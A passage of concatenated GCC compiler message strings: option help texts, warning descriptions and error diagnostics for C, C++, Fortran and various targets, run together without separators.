fixed modeUse n as character line width in free modeUse native (MS) bitfield layoutUse native format for unformatted filesUse new mnemonics for PowerPC architectureUse normal calling conventionUse of -fdefault-double-8 requires -fdefault-real-8Use of intrinsic module '%s' at %C conflicts with non-intrinsic module name used previouslyUse of non-intrinsic module '%s' at %C conflicts with intrinsic module name used previouslyUse of the NUMERIC_STORAGE_SIZE named constant from intrinsic module ISO_FORTRAN_ENV at %C is incompatible with option %sUse of the NUMERIC_STORAGE_SIZE named constant from intrinsic module ISO_FORTRAN_ENV at %L is incompatible with option %sUse offset tables for virtual method callsUse old mnemonics for PowerPC architectureUse only one TOC entry per procedureUse packed stack layoutUse paired-single floating-point instructionsUse portable calling conventionsUse profiling information for branch probabilitiesUse propolice as a stack protection methodUse push instructions to save outgoing argumentsUse red-zone in the x86-64 codeUse register stack for parameters and return valueUse registers for argument passingUse registers r2 and r5Use rjmp/rcall (limited range) on >8K devicesUse shared librariesUse simple data speculation checkUse simple data speculation check for control speculationUse simulator runtimeUse software floating pointUse stack biasUse standard main function as entry for startupUse structs on stronger alignment for double-word copiesUse stubs for function prologuesUse subroutines for function prologues and epiloguesUse the Cray Pointer extensionUse the Cygwin interfaceUse the DEC assembler syntaxUse the RTL dead code elimination passUse the RTL dead store elimination passUse the bit-field instructionsUse the divide instructionUse the mips-tfile postpassUse the most feature-enabling options allowed by other optionsUse the narrowest integer type possible for enumeration typesUse the same size for double as for floatUse traditional GNU semantics for inline functionsUse trap instructions to check for integer divide by zeroUse uClibc instead of GNU libcUse zero-extending memory loads, not sign-extending onesUsed in Fix-and-Continue mode to indicate that object files may be swapped in at runtimeUser defined non-ELEMENTAL function '%s' at %L not allowed in WORKSHARE constructUser operator '%s' referenced at %L not found in module '%s'User operator procedure '%s' at %L cannot be assumed character lengthUser operator procedure '%s' at %L must be a FUNCTIONUser operator procedure '%s' at %L must have at least one argumentUsing IBM extended precision long doubleUsing IEEE extended precision long doubleUsing built-in specs.
Using darwin64 ABIUsing old darwin ABIVOIDmode on an outputVariable '%s' at %C cannot be redefined inside loop beginning at %LVariable '%s' at %C with an initializer already appears in a DATA statementVariable '%s' at %L cannot be BIND(C) because it is neither a COMMON block nor declared at the module level scopeVariable '%s' at %L cannot have both the ALLOCATABLE and BIND(C) attributesVariable '%s' at %L cannot have both the POINTER and BIND(C) attributesVariable '%s' at %L cannot have the ALLOCATABLE attribute because procedure '%s' is BIND(C)Variable '%s' at %L cannot have the OPTIONAL attribute because procedure '%s' is BIND(C)Variable '%s' at %L cannot have the POINTER attribute because procedure '%s' is BIND(C)Variable '%s' at %L has not been assigned a format labelVariable '%s' at %L in common block '%s' at %C must be declared with a C interoperable kind since common block '%s' is bind(c)Variable '%s' at %L in this context must be constantVariable '%s' at %L is a parameter to the BIND(C) procedure '%s' but may not be C interoperableVariable '%s' at %L is in COMMON but only in BLOCK DATA initialization is allowedVariable '%s' at %L may not be a C interoperable kind but it is bind(c)Variable '%s' cannot appear in the expression at %LVariable '%s' has not been assigned a target label at %LVariable '%s' in %s clause is used in NAMELIST statement at %LVariable '%s' in common block '%s' at %C can not be bind(c) since it is not globalVariable '%s' in common block '%s' at %C must be declared with a C interoperable kind since common block '%s' is BIND(C)Variable '%s' in common block '%s' at %L cannot be declared with BIND(C) since it is not a globalVariable '%s' in common block '%s' at %L may not be a C interoperable kind though common block '%s' is BIND(C)Variable '%s' in input list at %C cannot be INTENT(IN)Variable '%s' is used at %L before the ENTRY statement in which it is a parameterVariable '%s', used in a specification expression, is referenced at %L before the ENTRY statement in which it is a parameterVariable type is UNKNOWN in assignment at %LVector assignment to assumed-size Cray Pointee at %L is illegalVector library ABI to useWHERE assignment target at %L has inconsistent shapeWHERE mask at %L has inconsistent shapeWHERE/ELSEWHERE clause at %L requires a LOGICAL arrayWarn about "extern" declarations not at file scopeWarn about "suspicious" constructsWarn about @selector()s without previously declared methodsWarn about C constructs that are not in the common subset of C and C++Warn about C++ constructs whose meaning differs between ISO C++ 1998 and ISO C++ 200xWarn about NULL being passed to argument slots marked as requiring non-NULLWarn about PCH files that are found but not usedWarn about all enumerated switches missing a specific caseWarn about an empty body in an if or else statementWarn about calls with implicit interfaceWarn about casting functions to incompatible typesWarn about casts which discard qualifiersWarn about code that will never be executedWarn about code which might break strict aliasing rulesWarn about compile-time integer division by zeroWarn about deprecated 'vector long ...' AltiVec type usageWarn about enumerated switches missing a "default:" statementWarn about enumerated switches, with no default, missing a caseWarn about features not present in traditional CWarn about format strings that are not literalsWarn about format strings that contain NUL bytesWarn about function parameters declared without a type specifier in K&R-style functionsWarn about function pointer arithmeticWarn about functions which might be candidates for __attribute__((noreturn))Warn about functions which might be candidates for format attributesWarn about global functions without previous declarationsWarn about global functions without prototypesWarn about implicit function declarationsWarn about inappropriate attribute usageWarn about invalid uses of the "offsetof" macroWarn about macros defined in the main file that are not usedWarn about missing ampersand in continued character constantsWarn about missing fields in struct initializersWarn about misuses of pragmasWarn about multiple declarations of the same objectWarn about non-normalised Unicode stringsWarn about non-virtual destructorsWarn about optimizations that assume that signed overflow is undefinedWarn about overflow in arithmetic expressionsWarn about overloaded virtual function namesWarn about overriding initializers without side effectsWarn about pointer casts which increase alignmentWarn about possible aliasing of dummy argumentsWarn about possible security problems with format functionsWarn about possible violations of sequence point rulesWarn about possibly missing braces around initializersWarn about possibly missing parenthesesWarn about possibly nested block comments, and C++ comments spanning more than one physical lineWarn about printf/scanf/strftime/strfmon format string anomaliesWarn about returning structures, unions or arraysWarn about signed-unsigned comparisonsWarn about stray tokens after #elif and #endifWarn about strftime formats yielding 2-digit yearsWarn about subscripts whose type is "char"Warn about suspicious declarations of "main"Warn about suspicious uses of memory addressesWarn about things that will change when compiling with an ABI-compliant compilerWarn about truncated character expressionsWarn about truncated source linesWarn about uncasted NULL used as sentinelWarn about underflow of numerical constant expressionsWarn about uninitialized automatic variablesWarn about unprototyped function declarationsWarn about unrecognized pragmasWarn about use of multi-character character constantsWarn about user-specified include directories that do not existWarn about uses of __attribute__((deprecated)) declarationsWarn about variables that might be changed by "longjmp" or "vfork"Warn about variables which are initialized to themselvesWarn about violations of Effective C++ style rulesWarn about zero-length formatsWarn for implicit type conversions between signed and unsigned integersWarn for implicit type conversions that may change a valueWarn for obsolescent usage in a declarationWarn if .class files are out of dateWarn if a C-style cast is used in a programWarn if a comparison is always true or always false due to the limited range of the data typeWarn if a deprecated compiler feature, class, method, or field is usedWarn if a function uses alloca or creates an array with dynamic sizeWarn if a selector has multiple methodsWarn if a single function's framesize exceeds the given framesizeWarn if a string is longer than the maximum portable length specified by the standardWarn if a variable length array is usedWarn if an array is accessed out of boundsWarn if an object is larger than <number> bytesWarn if an old-style parameter definition is usedWarn if an undefined macro is used in an #if directiveWarn if deprecated empty statements are foundWarn if inherited methods are unimplementedWarn if modifiers are specified when not necessaryWarn if passing too many arguments to a function for its format stringWarn if testing floating point numbers for equalityWarn if the loop cannot be optimized due to nontrivial assumptions.Warn if trigraphs are encountered that might affect the meaning of the programWarn if type signatures of candidate methods do not match exactlyWarn instead of error in case profiles in -fprofile-use do not matchWarn of prototypes causing type conversions different from what would happen in the absence of prototypeWarn when a declaration does not specify a typeWarn when a declaration is found after a statementWarn when a function is unusedWarn when a function parameter is unusedWarn when a label is unusedWarn when a logical operator is suspicously always evaluating to true or falseWarn when a pointer differs in signedness in an assignmentWarn when a pointer is cast to an integer of a different sizeWarn when a register variable is declared volatileWarn when a stackframe is larger than the specified sizeWarn when a variable is unusedWarn when all constructors and destructors are privateWarn when an expression value is unusedWarn when an inlined function cannot be inlinedWarn when an optimization pass is disabledWarn when converting the type of pointers to member functionsWarn when non-templatized friend functions are declared within a templateWarn when not issuing stack smashing protection for some reasonWarn when one local variable shadows anotherWarn when overload promotes from unsigned to signedWarn when padding is required to align structure membersWarn when the compiler reorders codeWarn when the packed attribute has no effect on struct layoutWarn when there is a cast to a pointer from an integer of a different sizeWarn whenever a function's return type defaults to "int" (C), or about inconsistent return types (C++)Warn whenever an Objective-C assignment is being intercepted by the garbage collectorWarn whenever type qualifiers are ignored.Warning:When "signed" or "unsigned" is not given make the bitfield signedWhen "signed" or "unsigned" is not given make the bitfield unsignedWhen generating -mabicalls code, make the code suitable for use in shared librariesWhen possible do not generate stack framesWhen running CSE, follow conditional jumpsWhen running CSE, follow jumps to their targetsWhen set to 1, use expensive methods to eliminate all redundant constraintsWhether to use canonical typesWhile setting up signal handler: %mWhile setting up signal stack: %mWithout padding, there are not enough elements in the intrinsic RESHAPE source at %L to match the shapeWork around VR4130 mflo/mfhi errataWork around a hardware anomaly by adding a number of NOPs before aWork around an early 4300 hardware bugWork around bug in multiplication instructionWork around certain R4000 errataWork around certain R4400 errataWork around certain VR4120 errataWork around errata for early SB-1 revision 2 coresWork around hardware multiply bugWrite dependency output to the given fileWriting module %s at line %d column %d: %sWrong list of exited loops for edge  %d->%dXXX entering pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX leaving pop_everything ()
Zero is not a valid statement label at %C[Leaving %s]
[cannot find %s][disabled][enabled][super ...] must appear in a method context__BELOW100__ attribute not allowed with auto storage class__builtin_eh_return not supported on this target__builtin_saveregs not supported by this subtarget__builtin_saveregs not supported by this target__is_convertible_to__label__ declarations are only allowed in function scopes``%s' attribute applies only to functions`%s' attribute argument not an integer constant`%s' attribute argument should be between 18 to 255`%s' attribute cannot be specified for local variables`%s' attribute ignored`%s' attribute is not supported for R8C target`%s' attribute only applies to functions`%s' attribute only applies to variablesa cast to a type other than an integral or enumeration type cannot appear in a constant-expressiona member of a structure or union cannot have a variably modified typea parameter list with an ellipsis can%'t match an empty parameter name list declarationa storage class can only be specified for objects and functionsa using-declaration cannot specify a template-id.  Try %<using %D%>abnormal edges for no purpose in bb %iabort in %s, at %s:%dabstract declarator %qT used as declarationaccumulator is not a constant integeraccumulator number is out of boundsaddress area of %q+D conflicts with previous declarationaddress of explicit register variable %qD requestedaddress of global register variable %qD requestedaddress of global register variable %qs requestedaddress of local variable %q+D returnedaddress of register variable %qD requestedaddress of register variable %qs requestedaddress offset not a constantaddress operand requires constraint for X, Y, or Z registeraddress requested for %qD, which is declared %<register%>address taken, but ADDRESSABLE bit not setafter previous specification in %q+#Daggregate %q#D has incomplete type and cannot be definedaggregate value used where a complex was expectedaggregate value used where a fixed-point was expectedaggregate value used where a float was expectedaggregate value used where an integer was expectedalias argument not a stringalias definitions not supported in Mach-O; ignoredalignment (%u) for %s exceeds maximum alignment for global common data.  Using %ualignment for %q+D must be at least %dalignment for %q+D was previously specified as %d and may not be decreasedalignment may not be specified for %q+Dalignment must be a small power of two, not %dalignment of %q+D is greater than maximum object file alignment.  Using %dalignment of array elements is greater than element sizeall member functions in class %qT are privatealloc_size parameter outside rangeambiguates built-in declaration %q#Dambiguates old declaration %q+#Dambiguous abbreviation %sambiguous class template instantiation for %q#Tambiguous conversion for array subscriptambiguous default type conversion from %qTambiguous template specialization %qD for %q+Dan argument type that has a default promotion can%'t match an empty parameter name list declarationanachronism: anachronistic old-style base class initializeranonymous %s declared inside parameter listanonymous struct not inside named typeanonymous union with no membersapplying #pragma weak %q+D after first use results in unspecified behaviorargs to be formatted is not %<...%>argument %d of %qE might be a candidate for a format attributeargument %q+D might be clobbered by %<longjmp%> or %<vfork%>argument %qD doesn%'t match built-in prototypeargument %qD doesn%'t match prototypeargument %qd is not a constantargument %qs to %<-Wnormalized%> not recognizedargument %qs to %<-femit-struct-debug-detailed%> not recognizedargument %qs to %<-femit-struct-debug-detailed%> unknownargument 1 must be a 5-bit signed literalargument 1 of __builtin_altivec_predicate is out of rangeargument 1 of __builtin_altivec_predicate must be a constantargument 1 of __builtin_paired_predicate is out of rangeargument 1 of __builtin_paired_predicate must be a constantargument 1 of __builtin_spe_predicate is out of rangeargument 1 of __builtin_spe_predicate must be a constantargument 2 must be a 5-bit unsigned literalargument 3 must be a 4-bit unsigned literalargument dependent lookup finds %q+Dargument must be a constantargument of %<__builtin_args_info%> must be constantargument of %<__builtin_args_info%> out of rangeargument of %<__builtin_eh_return_regno%> must be constantargument of %qs attribute is not "ilink1" or "ilink2"argument of %qs attribute is not a string constantargument of function call might be a candidate for a format attributeargument of type %qT does not match %qTargument to "%s" should be a non-negative integerargument to %qs attribute larger than %dargument to %qs must be a 2-bit unsigned literalargument to '%s' missingargument to '%s' missing
argument to '-%s' is missingargument to '-B' is missingargument to '-Xassembler' is missingargument to '-Xlinker' is missingargument to '-Xpreprocessor' is missingargument to '-l' is missingargument to '-specs' is missingargument to '-specs=' is missingargument to '-x' is missingargument to decltype must be an expressionargument to dss must be a 2-bit unsigned literalarguments to destructor are not allowedarithmetic IFarithmetic on pointer to an incomplete typearray %q+D assumed to have one elementarray %qD initialized by parenthesized string literal %qEarray assignmentarray bound is not an integer constantarray does not match the region treearray index in initializer exceeds array boundsarray index in initializer not of integer typearray index in non-array initializerarray index range in initializer exceeds array boundsarray initialized from non-constant array expressionarray initialized from parenthesized string constantarray must be initialized with a brace-enclosed initializerarray of inappropriate type initialized from string constantarray size missing in %q+Darray size missing in %qDarray subscript has type %<char%>array subscript is not an integerarray type has incomplete element typearray used as initializerarrays of functions are not meaningfulas %qDasm clobber conflict with input operandasm clobber conflict with output operandasm declaration ignored due to conflict with previous renameasm operand %d probably doesn%'t match constraintsasm-specifier for variable %qs conflicts with asm clobber listassert: %s is assign compatible with %sassertion missing after %qsassignmentassignment (not initialization) in declarationassignment discards qualifiers from pointer target typeassignment from distinct Objective-C typeassignment from incompatible pointer typeassignment left-hand side might be a candidate for a format attributeassignment makes integer from pointer without a castassignment makes pointer from integer without a castassignment makes qualified function pointer from unqualifiedassignment of read-only location %qEassignment of read-only member %qDassignment of read-only variable %qDassignment suppressionassignment to final field %q+D not in field's classassuming cast to type %qT from overloaded functionassuming pointer to member %qDassuming signed overflow does not occur when combining constants around a comparisonassuming signed overflow does not occur when negating a divisionassuming signed overflow does not occur when reducing constant in comparisonassuming signed overflow does not occur when simplifying conditionalassuming signed overflow does not occur when simplifying conditional to constantassuming signed overflow does not occur when simplifying range testassuming that the loop counter does not overflowassuming that the loop is not infiniteat this point in fileattempt to take address of bit-field structure member %qDattribute declarationattribute for %q+#T must follow the %qs keywordattribute ignored in declaration of %q+#Tattribute interrupt_handler is not compatible with -m5-compactattributes after parenthesized initializer ignoredattributes ignored on elaborated-type-specifier that is not a forward declarationattributes ignored on template instantiationattributes ignored on uninstantiated typeattributes in parameter array declarator ignoredautomatic variable %qE cannot be %<threadprivate%>aux field set for edge %s->%sbackend decl for module variable %s already existsbad PC range for debug info for local %q+Dbad addressbad address, not (reg+disp):bad address, not post_inc or pre_dec:bad amount of stack space removal: %dbad array initializerbad builtin codebad builtin fcodebad condition codebad expression type during walk (%d)bad format of .zip/.jar archive
bad insn for 'A'bad insn in frv_print_operand, 0 casebad insn in frv_print_operand, bad const_doublebad insn in frv_print_operand, z casebad insn to frv_print_operand, 'F' modifier:bad insn to frv_print_operand, 'L' modifier:bad insn to frv_print_operand, 'M/N' modifier:bad insn to frv_print_operand, 'O' modifier:bad insn to frv_print_operand, 'e' modifier:bad insn to frv_print_operand, 'f' modifier:bad insn to frv_print_operand, 'g' modifier:bad insn to frv_print_operand, P modifier:bad insn to frv_print_operand_address:bad insn to frv_print_operand_memory_reference:bad method signaturebad output_condmove_single operandbad output_move_double operandbad output_move_single operandbad pc in exception_tablebad registerbad register to frv_print_operand_memory_reference_reg:bad shift insn:bad string constantbad testbad type in parameter debug infobad value %<%s%> for -mtls-size= switchbad value %<%s%> for -mtune= switchbad value %qs for -mcpu switchbad value %qs for -mfp-rounding-mode switchbad value %qs for -mfp-trap-mode switchbad value %qs for -mmemory-latencybad value %qs for -mtls-size switchbad value %qs for -mtrap-precision switchbad value (%s) for %s switchbad value (%s) for -mcmodel= switchbad value constant type %d, index %dbad value for -mcall-%sbad value for -msdata=%sbad zip/jar file %sbadly nested C headers from preprocessorbase %qT will be initialized afterbase class %q#T has a non-virtual destructorbase class %qT has cv qualifiersbase initializer expansion %<%T%> contains no parameter packsbase operand of %<->%> has non-pointer type %qTbase operand of %<->%> is not a pointerbase type %qT fails to be a struct or class typebasic block %d pred edge is corruptedbasic block %d should be marked irreduciblebasic block %d should not be marked irreduciblebasic block %i edge lists are corruptedbasic blocks not laid down consecutivelybb %d do not belong to loop %dbb %d on wrong placebit-field %q+#D with non-integral typebit-field %q+D width not an integer constantbit-field %qD with non-integral typebit-field %qs has invalid typebit-field %qs width not an integer constantblock IFbogus DISPOSE construction: %dbogus JARL construction: %d
bogus JR construction: %dbogus PREPEARE construction: %dboolean registers required for the floating-point optionboth %<_Sat%> and %<%s%> in declaration specifiersboth %<_Sat%> and %<_Bool%> in declaration specifiersboth %<_Sat%> and %<_Decimal128%> in declaration specifiersboth %<_Sat%> and %<_Decimal32%> in declaration specifiersboth %<_Sat%> and %<_Decimal64%> in declaration specifiersboth %<_Sat%> and %<char%> in declaration specifiersboth %<_Sat%> and %<complex%> in declaration specifiersboth %<_Sat%> and %<double%> in declaration specifiersboth %<_Sat%> and %<float%> in declaration specifiersboth %<_Sat%> and %<int%> in declaration specifiersboth %<_Sat%> and %<void%> in declaration specifiersboth %<complex%> and %<%s%> in declaration specifiersboth %<complex%> and %<_Accum%> in declaration specifiersboth %<complex%> and %<_Bool%> in declaration specifiersboth %<complex%> and %<_Decimal128%> in declaration specifiersboth %<complex%> and %<_Decimal32%> in declaration specifiersboth %<complex%> and %<_Decimal64%> in declaration specifiersboth %<complex%> and %<_Fract%> in declaration specifiersboth %<complex%> and %<_Sat%> in declaration specifiersboth %<complex%> and %<void%> in declaration specifiersboth %<long long%> and %<%s%> in declaration specifiersboth %<long long%> and %<double%> in declaration specifiersboth %<long%> and %<%s%> in declaration specifiersboth %<long%> and %<_Bool%> in declaration specifiersboth %<long%> and %<_Decimal128%> in declaration specifiersboth %<long%> and %<_Decimal32%> in declaration specifiersboth %<long%> and %<_Decimal64%> in declaration specifiersboth %<long%> and %<char%> in declaration specifiersboth %<long%> and %<float%> in declaration specifiersboth %<long%> and %<short%> in declaration specifiersboth %<long%> and %<void%> in declaration specifiersboth %<short%> and %<%s%> in declaration specifiersboth %<short%> and %<_Bool%> in declaration specifiersboth %<short%> and %<_Decimal128%> in declaration specifiersboth %<short%> and %<_Decimal32%> in declaration specifiersboth %<short%> and %<_Decimal64%> in declaration specifiersboth %<short%> and %<char%> in declaration specifiersboth %<short%> and %<double%> in declaration specifiersboth %<short%> and %<float%> in declaration specifiersboth %<short%> and %<void%> in declaration specifiersboth %<signed%> and %<%s%> in declaration specifiersboth %<signed%> and %<_Bool%> in declaration specifiersboth %<signed%> and %<_Decimal128%> in declaration specifiersboth %<signed%> and %<_Decimal32%> in declaration specifiersboth %<signed%> and %<_Decimal64%> in declaration specifiersboth %<signed%> and %<double%> in declaration specifiersboth %<signed%> and %<float%> in declaration specifiersboth %<signed%> and %<unsigned%> in declaration specifiersboth %<signed%> and %<void%> in declaration specifiersboth %<unsigned%> and %<%s%> in declaration specifiersboth %<unsigned%> and %<_Bool%> in declaration specifiersboth %<unsigned%> and %<_Decimal128%> in declaration specifiersboth %<unsigned%> and %<_Decimal32%> in declaration specifiersboth %<unsigned%> and %<_Decimal64%> in declaration specifiersboth %<unsigned%> and %<double%> in declaration specifiersboth %<unsigned%> and %<float%> in declaration specifiersboth %<unsigned%> and %<void%> in declaration specifiersboth arguments to %<__builtin___clear_cache%> must be pointersbraced spec '%s' is invalid at '%c'braced spec body '%s' is invalidbraces around scalar initializerbraces around scalar initializer for type %qTbranch %2d never executed
branch %2d taken %s%s
branch target register load optimization is not intended to be run twicebreak statement not within loop or switchbreak statement used with OpenMP for loopbuilt-in function %q+D declared as non-functionbuilt-in function %qs not supported for MIPS16call   %2d never executed
call   %2d returned %s
call edges for non-call insn in bb %icall is unlikely and code size would growcall of %<(%T) (%A)%> is ambiguouscall of overloaded %<%D(%A)%> is ambiguouscall of overloaded %<%s(%A)%> is ambiguouscall to Java %<catch%> or %<throw%> with %<jthrowable%> undefinedcall to Java constructor with %qs undefinedcall to Java constructor, while %<jclass%> undefinedcall to function %qD which throws incomplete type %q#Tcall to function which throws incomplete type %q#Tcall to non-function %qDcall-clobbered register used for global register variablecalled from herecalled object %qE is not a functioncaller edge count is negativecaller edge frequency is negativecaller edge frequency is too largecan not use -mtp=cp15 with 16-bit Thumbcan not use an object as parameter to a methodcan only use %qE attribute on file-scope definitions of objects of class typecan%'t create precompiled header %s: %mcan%'t mix operands of decimal float and complex typescan%'t mix operands of decimal float and other float typescan%'t mix operands of decimal float and vector typescan%'t open %s for writing: %mcan%'t open %s: %mcan%'t read %s: %mcan%'t seek in %s: %mcan%'t write %s: %mcan%'t write to %s: %mcan't apply both longcall and shortcall attributes to the same functioncan't close input file %s: %mcan't convert between vector values of different sizecan't convert from incomplete type %qT to %qTcan't convert value to a vectorcan't create repository information file %qscan't define friend function %qs in a local class definitioncan't do dependency tracking with input from stdincan't extend PCH file: %mcan't find %<class$%> in %qTcan't find a register in class %qs while reloading %<asm%>can't get position in PCH file: %mcan't get program statuscan't initialize friend function %qscan't make %qD into a method -- not in a classcan't open %s: %mcan't open input file: %scan't open ldd outputcan't open nm outputcan't read PCH file: %mcan't seek PCH file: %mcan't set position in PCH file: %mcan't specify '-D' without '--main'
can't use '%s' as a %s registercan't write PCH filecan't write PCH file: %mcan't write padding to PCH file: %mcandidate 1:candidate 2:candidate is: %+#Dcandidates are:candidates are: %+#Dcannot allocate an object of abstract type %qTcannot apply %<offsetof%> to destructor %<~%T%>cannot apply %<offsetof%> to member function %qDcannot apply %<offsetof%> to static data member %qDcannot apply %<offsetof%> when %<operator[]%> is overloadedcannot apply member pointer %qE to %qE, which is of non-class type %qTcannot bind bitfield %qE to %qTcannot bind packed field %qE to %qTcannot bind rvalue %qE to %qTcannot call member function %qD without objectcannot convert %qE from type %qT to type %qTcannot convert %qT to %qT for argument %qP to %qDcannot convert %qT to %qT in %scannot convert from base %qT to derived type %qT via virtual base %qTcannot convert to a pointer typecannot convert type %qT to type %qTcannot create pointer to reference member %qDcannot create temporary filecannot create type information for type %qT because it involves types of variable sizecannot declare %<::main%> to be a templatecannot declare %<::main%> to be inlinecannot declare %<::main%> to be staticcannot declare %qD to be a bit-field typecannot declare bit-field %qD with function typecannot declare field %q+D to be of abstract type %qTcannot declare member %<%T::%s%> within %qTcannot declare member function %qD to have static linkagecannot declare parameter %q+D to be of abstract type %qTcannot declare pointer to %q#Tcannot declare pointer to %q#T membercannot declare reference to %q#Tcannot declare reference to %q#T, which is not a typedef or a template type argumentcannot declare static function inside another functioncannot declare variable %q+D to be of abstract type %qTcannot decompose addresscannot decrement a pointer to incomplete type %qTcannot define member function %<%T::%s%> within %<%T%>cannot delete a function.  Only pointer-to-objects are valid arguments to %<delete%>cannot disable built-in function %qscannot do z-register replacementcannot dynamic_cast %qE (of type %q#T) to type %q#T (%s)cannot expand %<%E%> into a fixed-length argument listcannot expand %<%T%> into a fixed-length argument listcannot explicitly declare member %q#D to have extern linkagecannot find '%s'cannot find 'ldd'cannot find 'nm'cannot find class %qscannot find file for class %scannot find interface declaration for %qscannot find interface declaration for %qs, superclass of %qscannot find protocol declaration for %qscannot find reference tag for class %qscannot handle inconsistent calls to %qscannot increment a pointer to incomplete type %qTcannot initialize %qT from %qTcannot initialize aggregate of type %qT with a compound literalcannot initialize arrays using this syntaxcannot initialize multi-dimensional array with initializercannot inline function %<main%>cannot merge separate %s counters for function %ucannot open %scannot optimize loop, the loop counter may overflowcannot optimize possibly infinite loopscannot pass argument in vector register because altivec instructions are disabled, use -maltivec to enable themcannot pass objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot pass rvalue to reference parametercannot put object with volatile field into registercannot receive objects of non-POD type %q#T through %<...%>; call will abort at runtimecannot reload integer constant operand in %<asm%>cannot resolve overloaded function %qD based on conversion to type %qTcannot return from a handler of a function-try-block of a constructorcannot return value in vector register because altivec instructions are disabled, use -maltivec to enable themcannot set interrupt attribute: no current functioncannot set interrupt attribute: no such identifiercannot specify 'main' class when not linkingcannot specify -o with -c or -S with multiple filescannot specify both -C and -ocannot specify both -msep-data and -mid-shared-librarycannot take address of bit-field %qDcannot take the address of %<this%>, which is an rvalue expressioncannot use %<::%> in parameter declarationcannot use mode %qs for enumeral typescannot use mshared and static togethercannot use mthreads and mlegacy-threads togethercannot use small-data accesses for %qscannot use typeid with -fno-rtticannot use va_start in interrupt functioncanonical types differ for identical types %T and %Tcase label does not reduce to an integer constantcase label in scope of identifier with variably modified type not containing enclosing switch statementcase label in statement expression not containing enclosing switch statementcase label not within a switch statementcase label value exceeds maximum value for typecase label value is less than minimum value for typecase labels not sorted: cast adds new qualifiers to function typecast discards qualifiers from pointer target typecast from %qT to %qT increases required alignment of target typecast from %qT to %qT loses precisioncast from function call of type %qT to non-matching type %qTcast from pointer to integer of different sizecast increases required alignment of target typecast specifies array typecast specifies function typecast to pointer from integer of different sizecast to union type from type not present in unioncasting %qT to %qT does not dereference pointerchanges meaning of %qD from %q+#Dchar-array initialized from wide stringchecksum is %x instead of %xchoosing %qD over %qDcircular pointer delegation detectedclass %qT does not have any field named %qDclass %qT is implicitly friends with itselfclass %qT will be considered nearly empty in a future version of GCCclass %qs already existsclass '%s' has no method named '%s' matching signature '%s'cleanup argument not a functioncleanup argument not an identifierclosing dependency file %s: %mcode model %qs not supported in the %s bit modecode model %s does not support PIC modecollect2 version %scollect: reading %s
collect: recompiling %s
collect: relinking
collect: tweaking %s in %s
comma at end of enumerator listcommand line option "%s" is valid for %s but not for %scommand line option %qs is not supported by this configurationcomparing floating point with == or != is unsafecomparison between %q#T and %q#Tcomparison between pointer and integercomparison between signed and unsigned integer expressionscomparison is always %dcomparison is always %d due to width of bit-fieldcomparison is always false due to limited range of data typecomparison is always true due to limited range of data typecomparison of complete and incomplete pointerscomparison of distinct Objective-C types lacks a castcomparison of distinct pointer types lacks a castcomparison of promoted ~unsigned with constantcomparison of promoted ~unsigned with unsignedcomparison of unsigned expression < 0 is always falsecomparison of unsigned expression >= 0 is always truecomparison with string literal results in unspecified behaviorcomparison with string literal results in unspecified behaviourcompilation terminated due to -Wfatal-errors.
compilation terminated.
complex floating point overflow in expressioncomplex integer overflow in expressioncomplex invalid for %qscompound literal of non-object type %qTconflicting access specifications for field %qE, ignoredconflicting access specifications for method %q+D, ignoredconflicting declaration %q#Dconflicting return type specified for %q+#Dconflicting specifiers in declaration of %qsconflicting super class name %qsconflicting type attributes specified for %q+#Dconflicting type qualifiers for %q+Dconflicting types for %q+Dconflicting types for built-in function %q+Dconflicts with built-in declaration %q#Dconflicts with function declaration %q#Dconflicts with new declaration with %qL linkageconflicts with previous declaration %q+#Dconst %qs cannot be declared %<mutable%>const_double_split got a bad insn:constant argument out of range for %qsconstant logical value in CASE statement is repeated at %Lconstant not recomputed when ADDR_EXPR changedconstructor for alien class %qT cannot be a memberconstructor priorities are not supportedconstructor priorities from 0 to %d are reserved for the implementationconstructor priorities must be integers from 0 to %d inclusiveconstructor syntax used, but no constructor declared for type %qTconstructors cannot be declared virtualcontinue statement not within a loopcontinue statement not within loop or switchcontrol flow in the middle of basic block %dconversion from %q#T to %q#Tconversion from %qT to %qT discards qualifiersconversion from %qT to %qT is ambiguousconversion from %qT to non-scalar type %qT requestedconversion lacks type at end of formatconversion of %qE from %qT to %qT is ambiguousconversion of unsigned constant value to negative integerconversion to %qT alters %qT constant valueconversion to %qT from %qT may alter its valueconversion to %qT from %qT may change the sign of the resultconversion to %s%s will never use a type conversion operatorconversion to incomplete typeconversion to non-scalar type requestedconverting %<false%> to pointer type for argument %P of %qDconverting NULL to non-pointer typeconverting from %qT to %qTconverting overloaded function %qD to type %q#T is ambiguousconverting to non-pointer type %qT from NULLcorrupted exits list of loop %dcorrupted head of the exits list of loop %dcorrupted profile info: edge from %i to %i exceeds maximal countcorrupted profile info: number of executions for edge %d-%d thought to be %icorrupted profile info: number of iterations for basic block %d thought to be %icorrupted profile info: run_max * runs < sum_maxcorrupted profile info: sum_all is smaller than sum_maxcould not close response file %scould not close temporary response file %scould not convert %qE to %qTcould not convert template argument %qE to %qTcould not find a spill registercould not find class$ field in java interface type %qTcould not find specs file %s
could not open dump file %qs: %scould not open response file %scould not open temporary response file %scould not split insncould not write to response file %scould not write to temporary response file %scouldn't determine target name for dependency trackingcouldn't run '%s': %scouldn't unmap pch_address_space: %mcoverage mismatch for function %qs while reading counter %qscoverage mismatch for function %u while reading execution counterscoverage mismatch ignored due to -Wcoverage-mismatchcreated and used with different ABIscreated and used with different architectures / ABIscreated and used with different endiannesscreated and used with different settings of -fpiccreated and used with different settings of -fpiecreated and used with differing settings of '%s'creating %screating array of %qTcreating array of %qT, which is an abstract class typecreating array with negative size (%qE)creating pointer to member function of non-class type %qTcreating pointer to member of non-class type %qTcreating pointer to member of type voidcreating pointer to member reference type %qTcritical region may not be nested inside a critical region with the same namecurrent namespace %qD does not enclose strongly used namespace %qDdata area of %q+D conflicts with previous declarationdata declarationdata member %qD cannot be a member templatedata member may not have variably modified type %qTdata type of %q+D isn%'t suitable for a registerdebug format "%s" conflicts with prior selectiondebug output level %s is too highdebug: decimal floating point not supported for this targetdeclaration %qD does not declare anythingdeclaration does not declare anythingdeclaration for parameter %q+D but no such parameterdeclaration of %<extern%> variable %q+D in %<for%> loop initial declarationdeclaration of %q#Ddeclaration of %q#D has %<extern%> and is initializeddeclaration of %q#D outside of class is not definitiondeclaration of %q#D shadows a parameterdeclaration of %q+#Ddeclaration of %q+D shadows a built-in functiondeclaration of %q+D shadows a global declarationdeclaration of %q+D shadows a parameterdeclaration of %q+D shadows a previous localdeclaration of %q+D shadows previous non-variabledeclaration of 